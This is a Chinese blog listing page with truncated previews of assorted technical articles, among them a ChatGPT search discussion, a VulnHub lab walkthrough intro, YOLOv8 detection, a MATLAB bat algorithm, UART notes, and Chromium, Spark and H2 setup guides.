Java毕业设计-基于微信小程序的校园二手物品交易系统的实现(V2.0)

博主介绍&#xff1a;✌stormjun、8年大厂程序员经历。全网粉丝15w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…

聊一聊:ChatGPT搜索引擎会取代谷歌和百度吗?

当地时间 10 月 31 日&#xff0c;OpenAI 正式推出了 ChatGPT 搜索功能&#xff0c;能实时、快速获取附带相关网页来源链接的答案。这一重大升级标志着其正式向谷歌的搜索引擎霸主地位发起挑战。 本周五我们聊一聊&#xff1a; 欢迎在评论区畅所欲言&#xff0c;分享你的观点~ …

Hms?: 1渗透测试

靶机&#xff1a;Hms?: 1 Hms?: 1 ~ VulnHub 攻击机&#xff1a;kail linux 2024 主机扫描阶段发现不了靶机&#xff0c;所以需要按DriftingBlues2一样手动配置网卡 1,将两台虚拟机网络连接都改为NAT模式&#xff0c;并查看靶机的MAC地址 2&#xff0c;攻击机上做主机扫描发现…

<项目代码>YOLOv8 夜间车辆识别<目标检测>

YOLOv8是一种单阶段&#xff08;one-stage&#xff09;检测算法&#xff0c;它将目标检测问题转化为一个回归问题&#xff0c;能够在一次前向传播过程中同时完成目标的分类和定位任务。相较于两阶段检测算法&#xff08;如Faster R-CNN&#xff09;&#xff0c;YOLOv8具有更高的…

MATLAB实现蝙蝠算法(BA)

MATLAB实现蝙蝠算法(BA) 1.算法介绍 蝙蝠算法&#xff08;简称BA&#xff09;是一种受微型蝙蝠回声定位机制启发的群体智能算法&#xff0c;由Xin-She Yang于2010年提出。这种算法模拟了微型蝙蝠通过向周围环境发出声音并监听回声来识别猎物、避开障碍物以及追踪巢穴的行为。…

【温酒笔记】UART

参考文档&#xff1a;野火STM32F103 1. 物理层 STM32见下图 1、TTL电平标准&#xff1a; 输出L&#xff1a;<0.8V&#xff1b;H:>2.4V。 输入L&#xff1a;<1.2V&#xff1b;H:>2.0V。 2、CMOS电平标准&#xff1a; 输出L&#xff1a;<0.1Vcc&#xff1b;…

Chromium127编译指南 Mac篇(一)- 环境准备详解

概述 在开源浏览器生态系统中&#xff0c;Chromium始终扮演着举足轻重的角色。作为Google Chrome的技术基石&#xff0c;它不仅支撑着全球最受欢迎的浏览器之一&#xff0c;更为众多定制化浏览器项目提供了坚实的基础。对于渴望探索浏览器技术深度&#xff0c;或计划开发自有浏…

【spark的集群模式搭建】spark集群之Yarn集群模式搭建(清晰明了的搭建流程)

文章目录 1、使用Anaconda部署Python2、上传、解压、重命名3、创建软连接&#xff08;如果在Standalone模式中创建有就删除&#xff09;4、配置spark环境变量5、修改spark-env.sh配置文件6、修改spark-defaults.conf 配置文件7、修改log4j.properties配置文件8、上传spark jar包…

h2 数据库命令行工具用法汇总

背景 h2 数据是个短小精悍的嵌入式数据库&#xff0c;纯 Java 实现&#xff0c;且非常小。 我们有一个比较底层的应用中就是用了 h2 数据库来存储应用的基础信息&#xff0c;这个数据库说起来比较容易。 本文总结实际项目中涉及到的 h2 的相关技术及问题。 控制台工具用法 …